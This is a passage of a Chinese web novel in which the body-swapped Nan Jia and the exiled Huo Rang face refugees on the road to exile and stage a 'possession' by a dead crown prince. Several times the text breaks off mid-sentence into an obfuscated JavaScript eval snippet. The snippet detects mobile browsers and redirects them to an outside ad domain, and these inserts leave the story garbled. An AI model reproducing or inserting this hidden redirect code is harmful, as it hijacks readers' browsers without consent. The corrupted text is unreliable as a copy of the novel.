诡异的安静中,好半天没有人开口说话。 沈氏犹疑地看着自己的儿子,总觉得哪里不对。“让儿,珠儿是你的亲妹妹啊,你平日里最是疼她,你这是怎么了?” 夜炁半垂着眼睛,遮住眸底的暗沉。“先前昏迷之际,我见到父亲与先祖。他们怒我不争,苦心教导于我。我已幡然悔悟,从今往后不会再行辱没霍家之事。” “还有这样的事……怪不得我瞧着你似是不一样了。”沈氏喃喃着,像是被吓到。忽地又想起什么来,语气都透着几分急促。“让儿,你刚才说我们霍家有那什么藏金图,是不是我们把图献给陛下,就能回去了?” 一时之间,柴牢内静得吓人。 便是正呜呜伤心的霍明珠,也止了哭声。 “大哥,那图到底在哪里?你赶紧想……你快些想啊……” 沈氏也跟着催,“对,对,对,让儿,你爹肯定和你说过什么,你快些想,只要你想到了,我们全家就有救了!” 夜炁慢慢抬起头来,目光落在闫怀安腰间的那把刀上。 刀是陌刀制式,乃是衙门差役们常用的刀型。刀柄上缠绕防滑的刀绳,刀绳倒是寻常,不寻常的是那独特的缠绕手法。 闫怀安无端觉得一股强大的压迫感,下意识紧紧握住自己的刀柄。 在所有人的期待中,夜炁望向南嘉,“我身为兄长,教妹无方,我替她向你道歉。” “这都什么时候了,你还顾着向她道什么歉。”沈氏急得不行,“让儿,你快好好想想,你爹有没有和你提过藏金图的事?你……” 她忽地后背发凉,声音戛然而止。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116190|164174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “让儿……” “先祖说,妾室乃乱家之源,所以我们霍家才有三十无子,方可酌情纳妾的祖训。姨娘,你当记得自己的身份,切莫乱了规矩。” 沈氏本就受到惊吓,眼下一堵心,两眼一翻倒在地上。 众人还没回神时,只看到夜炁一探她鼻息,没什么情绪地道:“晕倒而已,睡一觉即可。” * 夜渐深,星月不见。 似梦非梦间,南嘉梦到自己在悬梁,她吊在半空中晃过来荡过去,窒息的感觉一点点地收紧,紧到她喘不过气来。 她拼命挣扎着,蓦地睁开眼睛。 幽漆的黑暗中她什么也看不见,但她能感觉到身体有人。不仅如此,那人的手掌正掐着她的脖子。 是霍让! “换!” 身体一转换,她的呼吸立马顺畅,与此同时也松开掐着自己脖子的手。 “为什么?” “受制于人的感觉如何?” 哪怕不是这个身体经受过窒息,她仍然喘着气,“你个混蛋……你掐我脖子就是想让我知道什么是受制于人的感觉?” “自然不是,我想杀了你。” 这个王八蛋居然想杀她! 她转念一想,约摸明白过来。换成任何一个人,如果自己的身体都不能自主掌控,由着别人换来换去,恐怕都忍不了。 哪怕这人是个混蛋。 这个时候和一个混蛋摆事实讲道理显然不行,该低三下四的时候还是得放低姿态,“我保证以后不会了。” 她看不清夜炁的表情,自然也无法窥见他眼底的讥讽和嘲弄。 “性命攸关,保证有何用?” “那……那我就这样一直不和你换。” “无妨。”夜炁的声音极冷,冷到透骨寒,“是男是女于我而言,并无区别。” 这个神经病,这个死变态! 他想杀她,她就躺平任由他宰割吗?兔子急了还咬人,泥人还有三分土性,信不信她顶着这副身体来一个反杀? 仿佛是知道她在想什么似的,她感觉有什么冰冷的东西抵住自己的脖子。 那是一把刀! 闫怀安的佩刀。 怪不得这人之前盯着刀看,原来是存了这样的心思。 “换还是不换?” “换。” 幽暗的光影中,他们的身体换了回来。不等她有所反应,手中的刀已被夺去,反过来架在她的脖子上。 她欲哭无泪。 难道老天让她穿越一回,还给了她那么大一个金手指,是耍她玩的吗? 刀锋进肉的声音让她头皮发麻,痛感延迟到来时,她喊道:“别杀我,我知道怎么找到那些金子!” 7. 第 7 章 四周静得吓人,耳中全是自己如擂鼓般的心跳声,一声接着一声,似无数刀光剑影的厮杀,震耳欲聋。 危机一解除,她大口喘着气。 这种濒死过又活过来的感觉,可比穿越刺激太多了。毕竟她穿越不过是一闭眼一睁眼的事,而刚才真真是鬼门关走过一回。 “说。” “石头。”她气息还不匀着,“我知道要想找到金子,必须先找到一块石头,好像是河边常见的那种,没什么特别之处。” “然后呢?” 哪有什么然后。 但这话她可不会说出来,毕竟保命要紧。 “你先找到石头,我再告诉你方法。” “信不信我立马杀了你?” “你要杀就杀吧,反正天底下除了我,恐怕再也没有第二个人知道怎么找到那些金子。” 她说的可全是实话,金子就在她身上,却谁也看不见,谁也取不走。 夜炁从未没见过这样的女子,不仅胆子奇大,还狡诈无比。 那石头他确实知道,也曾见过,却百思不得其用法。此女颇为古怪,或许真有法子。倘若她所言非虚,到时将石头取来一试便知。 “以后换与不换,皆在我。你所言所行,当知无不言。” “行,听你的。” “你叫什么名字?” 还夫妻呢,连她叫什么都不知道。 “南嘉。” “你倒是和林正渊无半分相似之处。” 她正思忖着这话是什么意思,便感觉后脑受到一击,瞬间失去知觉。 一夜再无话,天光熹微时她恍惚睁眼,好半天不知自己身在何处。后脑处传来的闷痛让她想骂人,幸好满眼的金光及时将她抚慰。 微光从窗户透进来,光影中笼罩着一人。那人背手临窗,仿佛此处不是柴牢,而是云霄玉台。他生来就应该站在高处,运筹帷幄睥睨天下。 她当即清醒。 他……他竟然是站着的! “天亮了,都起吧。” 外面传来差役的喊话声,打碎所有人的沉梦。 南嘉刚想提醒他,一眨眼的工夫他已重回角落屈身而坐。尽管乱发如草,衣衫染血,却有着矜贵无双的气度,似神子落难,虽困于浅险之地而不掩非凡之姿。 “谦儿,你过来。” 听到他的声音,甫一睁开眼睛的霍谦瞧着一脸茫然,犹豫了好一会儿才不明所以地过去。 兄弟俩长得并不像,相比当哥哥的五官优越,霍谦这个弟弟要逊色许多。 “大……大哥……” 霍谦也不知为何,有些不太敢靠近。 以前他们俩兄弟不说有多亲近,但也不至于如此生疏。他说不上来是什么感觉,只感觉眼前这个大哥和以前太过不相同,陌生到让他害怕。 夜炁认真地打量着他,抬手抚摸他的脑袋。 其他人陆续醒来,沈氏看到这一幕,直接哭出声来。 从前京都的那些夫人们都羡慕她,说她肚皮争气会生儿子。长子生得肖似先太子,次子长得像国公爷。 可惜长子出生时,先太子已经故去,小儿子更是连亲爹的面都没有见过。她一腔慈母怜儿之心,哪里还记得昨晚上大儿子的冷言冷语。 “我可怜的让儿,我可怜的谦儿……” 夜炁一个极淡的眼神睨来,她赶紧闭嘴。 * 柴牢外,除去所有的差役,还有伍驿长和王氏。夫妇俩皆是大包小包,说是怕孙从彪回来报复,准备去北地投亲,正好与他们同行。 闫怀安的手里提着两个大布兜,散发着蒸好的面食香气,应是王氏给他们准备的吃食。他的腰间,挂着那把佩刀。 当王氏笑着看过来时,南嘉也报之微笑,表达着谢意。 “南嘉。” 囚车里的人在叫她。 她心道不是吧。 不是说主动权在他吗?为什么这个时候要换?她神色如常地过去,小声问道:“你不想歇着吗?” “一事归一事,有功则赏,有罪当惩,霍家确实连累你,你不必经受这些。” “……” 这罪谁爱受谁受去,她是能躲一时算一时。 身体互换之后,从她的角度看去。那顶着自己身体的人脊背笔直,哪怕是戴着枷锁,哪怕是被人牵着,走路的步伐都透着说不出来的从容优雅。 虽然赏心悦目,却别扭得很。 还是眼不见为净的好,万一那人又发什么疯,她可招架不住。如此思量着,她别过脸去,打算好好欣赏沿途的风景。 眼下这个时节景致绝佳,山野葱翠,草木葳蕤。 然而往来劳作的百姓,俱是衣衫破旧面黄肌瘦的模样,偶尔有人抬头看来,无一不是眼神茫滞表情麻木。 君王无道,百姓苦。 今上自登基以来极尽奢靡不理政事,致使朝纲无纪。为应付朝廷征缴,各地官员横征暴敛,繁刑重赋,民不聊生。 百姓苦,他们难。 苦与难,竟不知谁更惨。 中途歇息时,对方也没有换回的意思,她乐得自在,尽量不往那边看。 “怎地这些个流民?”押送的囚车的小差役嘀咕着。 她转过头来,险些吓一跳。 不远处一群破衣烂衫的人,足有近百人之多,将他们的前路堵得严严实实。一片嘈杂声中,隐隐约约还能听到笑声。 “快些走,明日就能到永安城了!”一人高喊着。 其余人欢呼,“吃大户了!吃大户了!” 不多时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116191|164174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那群人就到了跟前。 闫怀安示意自己人避开一些,以免和他们冲撞。 路不算宽,难免人挤人,你挨到了我,我碰到了你。更有甚者,是有人故意来挨人碰人,存着戏弄人的心思。 “你这个贱民,你干什么!”不知是谁挤到了霍明珠,她厌恶地大喊。 这一喊不要紧,局势瞬间恶化。 “你说什么?你说谁是贱民?”那人嚷嚷起来,斜着眼盯着她看,“老子看你这细皮嫩肉的,以前是大户人家的小姐吧?你们这些人狗眼看人低,都被流放了还瞧不起人,今日我非得给你们一个教训不可!” 说着上手拉扯她,还不老实地占便宜。 她吓得不轻,尖叫不断。 其他想揩油的人也一哄而上,闫怀安和差役们根本拦不住,场面一度混乱。 南嘉还在囚车里,没有收到换回身体的信号,她也不敢轻举妄动,又实在不愿目睹一切,索性闭上眼睛。 “锵” 利刃出鞘的声音过后,闫怀安一愣。 夜炁拨的是他的刀,指着那些人中为首的中年男子。 “都别动!” 那些人也就是寻常的百姓,不过是想趁机占点便宜,也没料到要见血。他们哪里想得到,看上去娇气媚色的千金小姐竟然还敢拿刀。 “你们也是有家有室,有儿有女之人,当知不欺弱小,不辱良妇的道理。今日我念你们是一时糊涂,放你们一马,还不快走!” “走,走,走!” 那些人忙不迭地应着,一个比一个跑得快。其中有个年纪大的瘦弱老者,没跑几步就倒在地上,抱着肚子一直喊饿。 “把那些馒头给他们。” 闫怀安闻言,把所有的馒头都给了那些人。那些人千恩万谢着,感激的话说个不停,将布兜里的馒头分过之后,这才继续赶路。 南嘉越发觉得自己看不懂他,一开始觉得是个很讲道理的人,然后是个半夜想杀人的疯子,现在看起来又心怀大义,颇有几分怜悯之心。 正琢磨着,他已经过来。 “想下来走走吗?” 南嘉猛点头。 一直走路也不行,但坐了大半天的车,也是该下来活动一下。 “去吧。” 这话说得像施恩一般,每个字都带着高高在上的盛气。 两人身体刚一换回来,霍谦到了跟前。 小孩子不长记性,哪怕是觉得现在的大哥有些让人害怕,就冲早上夜炁抚摸他脑袋时的温情,也足够他愿意主动亲近。 “大哥,我刚才都看见了。” “你看见什么了?”夜炁对他,不仅有好脸色,还有十足的耐心。 他大受鼓舞,调皮道:“大哥胆子好小,方才吓得连眼睛都闭上了。” 8. 第 8 章 “哦?”夜炁漫不经心地睨向南嘉,“我闭眼睛了吗?” 这就是个送命题啊。 她打着哈哈,“闭了……还是没闭?我好像没看清楚。” 霍谦可不知道自己捅了什么样的篓子,还无比天真地问她,“大嫂,你没看见吗?大哥他真的闭了眼睛,我看得真真切切。” 童言无忌,但真刀真枪,一刀一枪都在背刺她。 她欲哭无泪,装模作样地拨弄自己的头发。那被利刃割破的伤口露了出来,宛如羊脂白玉上的一道细微的划痕。 夜炁不知为何,觉得那划痕很是碍眼。 他神情莫测地摸了摸霍谦的头,“去歇着吧。” 霍谦被这温情收买,立马将刚才的事抛之脑后,欢快地跑开。 南嘉走也不是,不走也不是。 最是一日中天光正好的时辰,世间万物沐浴在阳光下,各自经历着枯荣与生死,一如她此时的心境。 闫怀安频频看过来,好像有事找她。 她正好找到借口,说了一句“我过去一下”的话,三步两步走去,然后故意背着身体避开别人的视线。 闫怀安严肃的表情看上去不太自然,手在腰间的刀柄来回移动。 “我竟不知林二姑娘会武。” “闫大哥莫不是忘了,我林家可是武将世家。我耳濡目染,偷学了几招。” “也是,你可是林国公的女儿。当年南中之战,林国公率十万大军鏖战数月,一举将前朝余孽彻底剿灭,解我大未百年之扰,可谓是立下不世功劳。” 前朝灭亡后,遗帝带着一些人逃到南中一带。其子孙多年来一直盘踞在那里,筹谋着复国大业,以巫教为掩护动摇国本民心,且已祸延至京都。 先太子乾坤独断,力排众议命林正渊率兵清巢。也正是因为那一战,林家的风头俨然盖过霍家。 南嘉想的却是,立下战功的也未必都是好东西,比如说那个孙从彪。 她视线微垂之时,注意到闫怀安的小动作,以及那把刀。 “闫大哥这刀不错,平日里都随身带着吗?” “自是日夜随身。” 说到这个,闫怀安觉得有些惭愧。 枉他自诩谨慎严密,却被人夺了刀,竟还没有半点察觉。他目光微一侧,在看到南嘉脖子上细如线的伤口时,惊问:“林二姑娘,你受伤了?” 南嘉立马捂住伤口,暗道怪不得刚才那人眼神怪异,原来也是看到她脖子上的伤。该死的罪魁祸首,居然没有半点愧疚之心。 她赶紧用头发遮住,不以为意地道:“不碍事的,应是之前用刀时没注意,不小心划到了。” 虽是匆匆一瞥,闫怀安哪里看不出那伤明显结了细痂,并非今日所致。再看她额头上还未好的伤,自是往同样的方向去想。 交浅不宜言深,何况他们还是这样的关系。 他们尽量避过众人,但旷野之中视线一览无余,除了听不清楚他们在说什么,旁的全落在其他人的眼中。 世家高门规矩大,尤其对女子约束最多。哪怕是被抄家流放,再顾不上半点讲究,刻在骨子的认知还是让有些人颇多微辞。 比如说沈氏。 “她可是让儿的妻子,哪怕我霍家没了往日体面,她也不应如此肆无忌惮地与别的男子私下往来,没得坏了名声。姐姐,你也不管管?” 赵氏不想被她当枪使,没好气道:“你什么时候才能改得了这毛躁的性子?眼下是什么境地,真要计较起来,你我都无颜再活在这世上。方才若不是她,我们谁也落不下好,尤其是珠儿。昨晚你拦着不让珠儿道歉,今日总该让珠儿给她道声谢吧。” “我……她是我们霍家的儿媳,那不是应该的吗?” “什么叫应该?”赵氏动了怒,看向霍明珠,“珠儿,你怎么说?” 霍明珠咬着唇,眼睛哭得通红,满腹都是自怨自艾的情绪。听到这话更是觉得委屈难堪,望向囚车里的人,“大哥……你要快点好起来……那样就没有人欺负珠儿了。” 赵氏直摇头,无比失望地叹了一口气。 一刻钟的时间已到,闫怀安重给所有人戴上枷锁。轮到南嘉时,他的动作明显轻柔许多,自是被紧盯着他们的沈氏看在眼里。 对于沈氏而言,再是不喜欢南嘉,也不容自己儿子的所有物被他人染指。 “让儿,我知道你如今对娘有不满之处,但有些事你身为男子,当管则管不能太过纵容,免得日后闹出笑话来。” 夜炁连个眼神都没给她,仿佛压根没听到她的话。 她心下气苦。 这大儿子怕是白生了。 * 千里流放之路,风餐露宿是常事。 今日耽误不少脚程,眼瞅着天黑之前到不了下一个驿站,闫怀安决定歇在山脚下的一处破庙中。 破庙年久失修,梁上蛛网密布,地上除去成堆的干草外,还有一些碎陶片儿和烧火的痕迹,显然有不少过路者在此留宿过。 夜炁被差役们扶着进来,一指庙中泥菩萨的位置,“把我放那。” 菩萨身上的彩绘已经斑驳,露出内里的泥身。因是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“若你求他,你会求什么?” 一个死了二十年的人,她有什么可求的?但这话南嘉可不敢说出来。 先太子的生平,在民间流传甚广。不少人都说若是先太子还在,未朝或可重现盛世。对于霍家来说,如果先太子还在,他们的荣耀尊贵无人撼动。 她想了想,道:“我想求他活过来。” 9. 第 9 章 梁上的蛛网垂下一根细细的银丝,褐色的蜘蛛顺着蛛丝往下,也不怎么地没粘牢,一下子掉下来,恰巧落在夜炁的手背上。 夜炁慢慢将手着地,看着它爬下去。 “他若是活过来,你当如何?” 南嘉觉得这问话甚是古怪,却还是如实回答,“自然是愿他再主天下,还世道清明,让百姓安居乐业。” 好一个再主天下。 夜炁缓缓闭目,遮去眼里的幽光。 明兮谓之光风,暗兮隐之祸心,或如叶公好龙,慕其表而畏其真,诸如这泥胎塑相,供奉于此却无论残破。 两人一个站着,一个坐靠着,一个位于神像面前,一个则在神像之侧,皆是衣着褴褛,却光芒毕现之人。 进出的差役们无一不是生出惊艳之色,赞叹他们得天独厚的好相貌。如今这般瞧着,倒真像是菩萨座下的一对金童玉女。 闫怀安见之,脸色渐渐阴沉,更显森然之色。 “你们给我听好了,我们只当差,照规矩办事。若是谁敢起什么歪心思,有什么花花肠子,我就把他的心和肠子扯出来喂狗!” 那些差役们一听这话,一个个低下头去,不敢再多看他们一眼。哪怕有人真存了什么见不得光的想法,也被他这句话给扼杀。 自古流放有三苦,一是路遥千里不能达,二是途中难料生与死,三是最终抵不过饥与寒,而女子之苦更胜男子。一旦遇到黑心肝的押解差役,榨干剩余价值是小,怕就怕不止是遭罪,还有遭殃。 南嘉暗自庆幸,庆幸他们遇到的人是闫怀安。 可惜的是,除了口头表示感谢外,她什么也做不了。金山在手而不能想花就花,这种感觉实在是憋屈。 这会儿的工夫,所有的霍家人都进了破庙。破庙的环境太过不堪,他们一个个不知如何下脚。 那些差役们对这样的环境见惯不怪,开始各自忙活着,搬东西的搬东西,铺干草的铺干草,拾柴火的拾柴火。 暮色四合时,火堆也跟着燃起。 火一起,再是简陋的环境也多了几分温馨。 不多会儿,混着野菜的米粥香气飘散在整个破庙中。野菜是王氏采的,米也是他们出的,可谓是出力又出粮。 她照料着火候,感慨道:“这米还是年前买的,上回去粮铺问价格,竟是又涨了许多。粮铺的伙计说去年市税又加两成,他们也是不得已。这生计是越发艰难,也难怪好容易熬过寒冬,临到这青黄不接之时,还有那么多的流民上京。” 火光映着所有人的面庞,全都不太好看。 赵氏苦笑一声,幽幽地道,“去年冬里流民多,我们霍家在城外搭了两个月的粥棚。” 谁能想到不过数月光景,他们自己连粥都喝不上。 “我听说年前许多地方有人闹事,好几处衙门被砸,今年怕是有些不太平。”伍驿长的话说的隐晦,懂的人都已听明白。 所谓闹事是委婉的说法,连衙门都敢砸,应是民间起义无疑。 众人都没再说说话,冗长的沉默中,只有柴火被烧时发出的“噼啪”声。 “自圣宗平定乱世后,我朝经耀安之治,到高睿复兴,盛衰起伏至今已逾百年。如今昏君当道,衰不可逆,已然无力回天。” 夜炁突然出声,这话骇得所有人变了脸色。 “让儿,不得胡说!”沈氏心都快跳出来,这可是大逆不道之言。若是被有心之人传到陛下耳朵里,他们这一家子都要被杀头。 闫怀安满脸的严肃,目光凌厉,“霍公子,话可不能乱说,否则我等担待不起,必是要上报衙门再行定夺。” 一旦上报衙门,霍家的罪名就不止是等同谋逆,而是实实在在的想造反。到时候就不止是流放,而是满门抄斩。 一时气氛紧张,人人自危。 夜炁无视所有人惊变的脸色,问闫怀安,“前青龙卫左将军闫颇是你什么人?” 闫怀安闻言,神情又是一变。 闫颇是他的父亲,当年先帝遇刺后,所有随行的青龙卫皆以失职之罪革职。身为左将军的父亲罪加一等,不仅被革职,还背负与刺客勾结的嫌疑。 今上登基后再追其责,亲下圣旨将父亲斩首示众,并严令闫家三代不能出仕,无论文举武举。 不能出仕之人,哪怕他能力再出众,在衙门内混到死也无法晋升,终其一生都只能是无官级品阶的下等差役。 他握着刀柄的手关节泛着白,显然在压抑自己的情绪。 “正是家父。” “原来你是闫颇的儿子。”夜炁似是有些感慨,“闫家与霍家有旧,此次押送我们前往北地,应是你主动争取而来,是也不是?” 闫怀安紧抿着唇,表情说明一切。 父亲在时最敬重的人就是重光太子,最要好的朋友就是那时的霍国公。他无忧无虑的孩童岁月中,最常听到的就是父亲谈起他们。 行刑之前父亲仰头悲呼,一声声呼唤着“殿下”“国公爷”,还说天道收龙骨,奸臣害忠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116193|164174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 良,大骂老天无眼。 霍家出事后,多少人想落井下石,为了此次押解他确实费了不少心思。 “霍公子,正是因为我们两家有旧,所有我才不忍心看你一错再错。” “你可知什么是错,什么是对?” 夜炁扶着身后的泥相慢慢站起来,火光照不到他的全身,一半隐一半现,乍明乍暗的光影中,他整个人都透露着不下凡尘的孤傲。那与生俱来的矜贵让人望尘莫及,淡绝的目光如俯看苍生,威严而漠视一切。 南嘉怕他发疯,已不动声色地退到所有人后面。 他看到后,唇角微不可见地扬起。 这时外面传来喧闹声,似有无数脚步朝破庙而来。 闫怀安立马起身,示意所有的差役严阵以待。一时之间他们忙着抄家伙,而霍家人则忙着躲,一度有些混乱到人撞人,却谁也没有喊叫。 慌乱之中,南嘉朝夜炁走去。 夜炁唇角的弧度深了些,“怕吗?” 南嘉摇头,又点头。 怕自然是怕的,但因为知道怕没用,所以也可以说不怕。万一真发生什么事,或许待在这个人身边才是最安全的,所以她过来了。 脚步声由远及近,喧闹声也更是大了许多,隐约还能听到有人高声谈论着,言语间全是兴奋之情。 “我跟你们说,瘦死的骆驼比马大,他们能随便将那么好的白面馒头送给我们,可见还藏了不少值钱的好东西。” “说得对,这些大户人家的人就是会假惺惺,这是打发叫花子呢……那天师都说了,我们百姓要翻身,要吃大户,他们都被流放了,还怕他们作甚!” 是那些流民! 闫怀安的刀已经出鞘,沈氏吓得尖叫一声。 这叫声应是传到那些人耳中,只听到先前那说话的人越发的兴奋,“你们听,他们果然在这里!” 南嘉心道不好,那些人一旦一哄而入,恐怕根本没有办法和他们讲道理。到时候交不出财物,他们恼羞成怒之下做出什么事,后果将不堪设想。 她四下看去,发现神像后面的墙上有一个破洞。破洞不算大,但以她的身段勉强可以从那里爬出去。破庙后面就是山,或许还有一线希望。 不想脚步才一移,就对上夜炁幽深的眼。 夜炁看了她一眼,没说什么,却对闫怀安道:“我告诉你什么是错,君王无道民倒悬,人心不古恶念生,这就是错!” 她听出不对来,惊问:“你想做什么?” 10. 第 10 章 * 流民来得很快,如潮水般涌进破庙。火光映在他们脸上,照出他们不正常的神色,贪婪而兴奋,像是一群饿急眼的疯狗,恨不得立马扑上来咬人。 空气中弥散着野菜粥的香味,刺激着他们的神经,为首之人举起手中的棍子,色厉内荏地嚷嚷着,“把你们身上值钱的吃的东西全交出来!” 闫怀安喝道:“我们是衙门办差,你们想做什么?” 那人“呸”了一声,“狗屁的衙门办差,就是押送几个娘们而已。谁不知道你们这些官差,没少捞好处吧。这些娘们一个个细皮嫩肉的,你们是不是也尝过了?” 一群人哄笑起来,一时各种污言秽语。 闫怀安等人一脸臊色,又羞又恼。 南嘉问夜炁,“要换吗?” 那可全是他的家人,他身为一家之主,当真忍得了自己的亲娘姐妹受到污辱吗? 他摇摇头,“那些馒头是你给他们的,他们也是你招来的,你可有法子劝退他们?” 这个王八蛋! 竟然倒打一耙。 可恨的是那些人盯上了她,为首那人涎着脸嬉笑问她,“姑娘,你最是心善,你再可怜可怜我们,把东西都交出来吧。” 到底谁可怜? 她也装作可怜的样子,无能为力地摇头,“你们看粥,米少野菜多,再过几日怕是连米粒都见不着。先前给你们的那些馒,已掏空我们所有。我很想帮你们,但实在心有余而力不足。” “你不会是骗我们的吧?”那人明显不信,眼神闪烁着,分明是起了邪念。“姑娘,我看你心善,你就行行好。” 果然讲道理不行,装可怜也不行。 那人眼神越来越放肆,已经开始朝她走来。 她来不及细思,对闫怀安说,“闫大哥,借刀一用!” 闫怀安愣了一下,然后将刀递给她。刀一入手,她手下一沉,差点没露馅,使尽全力将刀举起来,朝着身后的泥相砍去。 “重光太子,求显灵!” 夜炁:“……” 她这是在做什么! 所有人都被她的举动震惊,别说是差役和霍家人,就是那些流民都一个个面面相觑,一时被她镇住。 那先本正朝她走过来的人被她发疯砍神像的举住给震慑住,脚步停下来,难以置信地看着她。 心道我滴个亲娘,这娇小姐不好惹啊。 泥相上的泥纷纷落下,看上去越发的斑驳。她一边砍着,一边频频给夜炁使眼色,“霍让,你长得最像重光太子,重光太子如果显灵,一定会上你的身。” 夜炁眸色微变,很快又恢复如常。 南嘉见他迟迟不动,再次催促,“重光太子,你在世时护着霍家,你真能忍心看到霍家人被人欺负?你睁开眼睛看看,这天下都乱了,百姓成匪,国将不国啊!” 好一个百姓成匪,国将不国。 夜炁气势一起,慢慢现身。 所有人只觉头皮发麻,在那强大的威压下险些软了腿。不说是那些流民,就是闫怀安等人和霍家人也是惊疑不定。 他神扬而眸垂,睥睨众人。 “何人在孤面前喧哗?” 南嘉大喜。 她也是想到之前这人问自己的话,临机一动才想出这么个法子,没想到这人还算有几分眼色,知道照着她的意思办。 她假装狂喜到言语无法形容的样子,结结巴巴地禀明,“太子殿下,他们想欺负霍家人!” “霍家人?”夜炁漫不经心地往那边一看,似是在仔细辩认,“表嫂?” 赵氏被叫到,抚着“咚咚”直跳的心口,福了福身,“臣妇给殿下请安。” “起来吧。”他一抬手,眼中有些许的茫然,“孤是睡了多久?怎地表嫂老成这样?尔等又是何人,为何在此?” 这熟悉的语气和姿态,让赵氏哭出声来。 “殿下有所不知,离臣妇上回见您已有二十年之久……二殿下和国公爷也已不在,剩下我们这些孤儿寡母沦落至此……他们本是流民,受了我们的恩惠还知足,竟然逼上门来,让我们交出所有的东西,我们已是走投无路。” 她哽咽着,有些分不清这一切是真是假,不管是真戏真唱,还是假戏真做,她都想好好痛痛快快哭一场。 那些流民半信半疑,一是他们没人见过真正的重光太子,二是他们不太信神明真的会显灵,有人大着胆子问,“你们不会是唬人的吧?” 南嘉用刀指着他们,冷哼一声,“你们敢对重光太子不敬?我且问你们,你们方才说什么天师,还说你们要翻身要吃大户,到底是怎么回事?” 这话问到点子上,他们七嘴八舌,你一言我一语,恨不得嚷嚷得天下皆知。 “天师就是天师,天降圣旨给他,那圣旨说君王无德天下负,百姓翻身吃大户。你们听听,我们可没骗人,我们吃你们的那可是老天爷给的旨意,我们也不能抗旨啊。” 狗屁的天师,狗屁的圣旨! 南嘉心下冷笑,这必是哪个想改天换地之人想出来的把戏,虽然老套,但屡试不爽。这上句为引,引出来的下句才是关键。 “除了这句, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116194|164174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 圣旨上可是还说了什么?” “说了,还说九天重降清道夫,万民齐享盛世福。” “这就对了!”她心道天助我也,“这位是镇国公霍让,如今他被重光太子附身,他就是天师圣旨上说的清道夫。” 那些人闻言,还是不太信,但也有人半信半疑。 “真的假的,这什么镇国公被重光太子附了身,他不会真是天师圣旨上说的那个人吧?” “我早就听人说过,说镇国公长得像重光太子,怕是有可能是真的……” 闫怀安哪里不知道他们是在演戏,不过方才有那么一瞬间,他好像看到了父亲口中的那位太子殿下。 他也不知怎么想的,突然发问,“敢问太子殿下,当年我父亲晋升青龙卫左将军时,您与他说过什么话?” “你是闫颇的儿子?”夜炁像是在回忆,沉思一会儿,道:“孤对他说,卿之忠,远胜才智,孤甚是欣慰。” “青龙卫前左将军闫颇之子闫怀安给殿下请安!” 闫怀安忽地伏地,叩地不起。 这话他亲耳听父亲说过! 那日父亲晋升,回家后很是欢喜,不停重复着先太子说的这些话。 其他的差役见他如此这般,跟着齐齐跪拜,霍家人在赵氏的带头下,也一起跪在地上。 那些流民被这阵势吓到,你看我,我看你的,有些六神无主。为首那人被夜炁扫过来的目光惊出一身汗来,双腿一软“扑通”跪地。 他这一跪,所有人都跟着跪下。 一时之间,破里庙外跪了一大片。 夜炁背着手,威仪毕现,“孤念你们不知者无罪,望你们好自为之,退下!” 那些人哪里见过什么贵人,别看他们嚷嚷着吃大户,实则平日里见到小官都吓得瑟瑟发抖。眼下被他的气势所震慑,哪里还敢再留,一个个跑得比兔子还快。 他又对差役和霍家人摆手,“你们也退下。” 差役们以闫怀安为首,霍家人以赵氏为首,这两人深受震撼,立马恭恭敬敬地领着所有人都退出去。 南嘉也想走,他淡看一眼,道:“你留下。” 一时间,破庙里只剩他们俩。 他示意南嘉随自己到神像后面,南嘉以为他这般,定是有什么话要和自己说,自是顺从地跟着。 “你做得很好。” 南嘉听到他夸奖自己,本打算谦虚几句,谁成想手中的刀被夺去的同时,一只大掌又死死掐住自己的脖子。 他气息逼近,字字生寒。 